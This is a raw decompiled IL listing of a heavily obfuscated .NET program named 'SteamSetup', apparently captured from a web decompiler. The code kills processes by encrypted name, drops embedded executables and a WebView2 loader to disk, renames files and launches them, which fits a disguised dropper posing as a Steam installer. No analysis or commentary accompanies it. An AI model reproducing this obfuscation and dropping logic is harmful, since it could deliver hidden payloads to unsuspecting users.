brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 16
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ret <null>
ldloc.s V_9
ldc.i4 1946855281
ldc.i4 1513954210
xor <null>
ldc.i4 1459322656
xor <null>
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c386ae2718cf4975a90a91e8bf42052f
xor <null>
call System.String H2sBwna7dhhZ4kU9Rf.OAvFdVsdh4CG3sWFPx::r5ell5E4R(System.Int32)
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_1
ldc.i4 19
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ldc.i4.0 <null>
stloc.s V_4
ldc.i4 6
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_f9dbd33ebfdf40e5a491700056c3705d
brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 1
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
call System.Void System.Windows.Forms.Application::EnableVisualStyles()
ldc.i4 23
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ldloc.s V_9
brtrue IL_00B2: ldloc.s V_9
ldc.i4 9
stloc V_3
br IL_0015: ldloc V_3
ret <null>
ldc.i4 -2109213154
ldc.i4 5
shl <null>
ldc.i4 133568027
xor <null>
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_71379f9cb1c1492da9b225b18510fde5
xor <null>
call System.String H2sBwna7dhhZ4kU9Rf.OAvFdVsdh4CG3sWFPx::r5ell5E4R(System.Int32)
call System.Diagnostics.Process[] System.Diagnostics.Process::GetProcessesByName(System.String)
dup <null>
ldlen <null>
ldc.i4.0 <null>
cgt.un <null>
stloc.s V_2
stloc.s V_10
ldc.i4 17
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ldc.i4.0 <null>
call System.Void System.Windows.Forms.Application::SetCompatibleTextRenderingDefault(System.Boolean)
ldc.i4 13
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ret <null>
nop <null>
ldloc.s V_5
callvirt System.Void System.Diagnostics.Process::Kill()
ldc.i4 1
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_6d67a2b389604e3a97c79208d1c167ee
brfalse IL_01A2: switch(IL_01E0,IL_01B4)
pop <null>
ldc.i4 0
br IL_01A2: switch(IL_01E0,IL_01B4)
ldloc V_7
switch dnlib.DotNet.Emit.Instruction[]
br IL_01E0: leave IL_03DF
ldloc.s V_5
ldc.i4 3000
callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32)
pop <null>
ldc.i4 0
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_51c5ca3b186e4111bca91af9f1f0992a
brtrue IL_01A2: switch(IL_01E0,IL_01B4)
pop <null>
ldc.i4 0
br IL_01A2: switch(IL_01E0,IL_01B4)
leave IL_03DF: ldloc.s V_4
pop <null>
ldc.i4 0
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_3c14218fc7e3404a8fdb0df7a8339180
brtrue IL_0209: switch(IL_0217)
pop <null>
ldc.i4 0
br IL_0209: switch(IL_0217)
ldloc V_8
switch dnlib.DotNet.Emit.Instruction[]
br IL_0217: leave IL_03DF
leave IL_03DF: ldloc.s V_4
ldc.i4 4
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_be2f977968074dbfa14ae62581a1acb2
brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 0
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
br IL_008B: ldloc.s V_10
ldc.i4 9
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_9b2650c465334383b0a067da28d86d94
brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 11
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ldloc.s V_9
ldc.i4 350066962
ldc.i4 2027984176
xor <null>
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_993afc461cbc4529acfa8aa07db9cded
xor <null>
call System.String H2sBwna7dhhZ4kU9Rf.OAvFdVsdh4CG3sWFPx::r5ell5E4R(System.Int32)
call System.String System.IO.Path::Combine(System.String,System.String)
call System.Boolean System.IO.File::Exists(System.String)
brtrue IL_0437: nop
ldc.i4 11
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_48926a63029046f8acc3f1672b3f072b
brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 14
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
call System.Boolean YF8q1t87IYYp1691pW.uWW8yo0pOp4jwVsXrS::sdUQL5CcW()
brtrue IL_054B: ret
ldc.i4 13
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_529039fa0e954e10a41f3e31cf846fc8
brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 15
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
br IL_0446: ldloc.s V_4
ldc.i4 0
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_5bd11b821be049d4be088b8b862dda1c
brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 0
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
nop <null>
ldloc.s V_1
call System.Byte[] SteamSetup.Properties.Resources::get_SteamWindow()
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4 1
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_8e136193dbc14abb9ed0dc14d9589b58
brfalse IL_0327: switch(IL_0384,IL_0339)
pop <null>
ldc.i4 0
br IL_0327: switch(IL_0384,IL_0339)
ldloc V_0
switch dnlib.DotNet.Emit.Instruction[]
br IL_0384: leave IL_0525
ldloc.s V_9
ldc.i4 -869143660
ldc.i4 -926526044
xor <null>
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_be49b0c1e6b34be196242f6bec524b45
xor <null>
call System.String H2sBwna7dhhZ4kU9Rf.OAvFdVsdh4CG3sWFPx::r5ell5E4R(System.Int32)
call System.String System.IO.Path::Combine(System.String,System.String)
call System.Byte[] SteamSetup.Properties.Resources::get_WebView2Loader()
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4 0
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_4e5c59b78de947d3906e9144d044a938
brtrue IL_0327: switch(IL_0384,IL_0339)
pop <null>
ldc.i4 0
br IL_0327: switch(IL_0384,IL_0339)
leave IL_0525: ldloc.s V_2
pop <null>
ldc.i4 0
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_f1f861dc75784e1bb0ee639063c5a5a7
brtrue IL_03AD: switch(IL_03BB)
pop <null>
ldc.i4 0
br IL_03AD: switch(IL_03BB)
ldloc V_6
switch dnlib.DotNet.Emit.Instruction[]
br IL_03BB: leave IL_0525
leave IL_0525: ldloc.s V_2
ldc.i4 18
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_be2f977968074dbfa14ae62581a1acb2
brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 25
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ldloc.s V_4
ldc.i4.1 <null>
add <null>
stloc.s V_4
ldc.i4 1
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_0a3f5e50a5a146e991dd1788f8489652
brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 22
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
call System.Void AWwrb6IZaoTW1skL6Uw.k6EhOsIadlBYru3vdpf::hSq6WhIBHb()
ldc.i4 1
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_26de41fd01a843999f544a29465b552a
brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 1
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
call System.Void BalKq0INJdSgLv0IlEL.W03EwQIMqxeuGuWiAoI::OyDSbEvb0q()
ldc.i4 21
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
nop <null>
ldc.i4 10
stloc V_3
br IL_0015: ldloc V_3
ldloc.s V_4
ldloc.s V_10
ldlen <null>
conv.i4 <null>
bge IL_025F: ldloc.s V_9
ldc.i4 20
stloc V_3
br IL_0015: ldloc V_3
ldloc.s V_1
ldloc.s V_9
ldc.i4 -1348167488
ldc.i4 489480752
sub <null>
ldc.i4 -2045417835
xor <null>
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_3efcb5432cfa48f7bc1872d6b5e81623
xor <null>
call System.String H2sBwna7dhhZ4kU9Rf.OAvFdVsdh4CG3sWFPx::r5ell5E4R(System.Int32)
call System.String System.IO.Path::Combine(System.String,System.String)
call System.Void System.IO.File::Move(System.String,System.String)
ldc.i4 24
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_50c8bb6c6a58481a95d4164343ccd960
brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 0
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
br IL_054C: call System.String YF8q1t87IYYp1691pW.uWW8yo0pOp4jwVsXrS::wejM7ygwe()
ldc.i4 1
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_63255e9e987740d5870a448b84469e67
brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 3
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ldloc.s V_1
call System.Boolean System.IO.File::Exists(System.String)
brtrue IL_012D: ldc.i4 -2109213154
ldc.i4 3
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_41f0756ef3af498788efa9dfd36951c3
brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 8
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ldc.i4 2500
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldc.i4 3
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_a670ef240aad4060b3d7a36f9e6eb01c
brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 7
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ldloc.s V_2
brfalse IL_0176: ret
ldc.i4 5
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_05a7934fedcb46bf84f4e5bb3a9e1050
brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 4
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ret <null>
call System.String YF8q1t87IYYp1691pW.uWW8yo0pOp4jwVsXrS::wejM7ygwe()
stloc.s V_9
ldc.i4 12
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ldloc.s V_1
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
ldc.i4 18
stloc V_3
br IL_0015: ldloc V_3
An error has occurred. This application may no longer respond until reloaded. Reload 🗙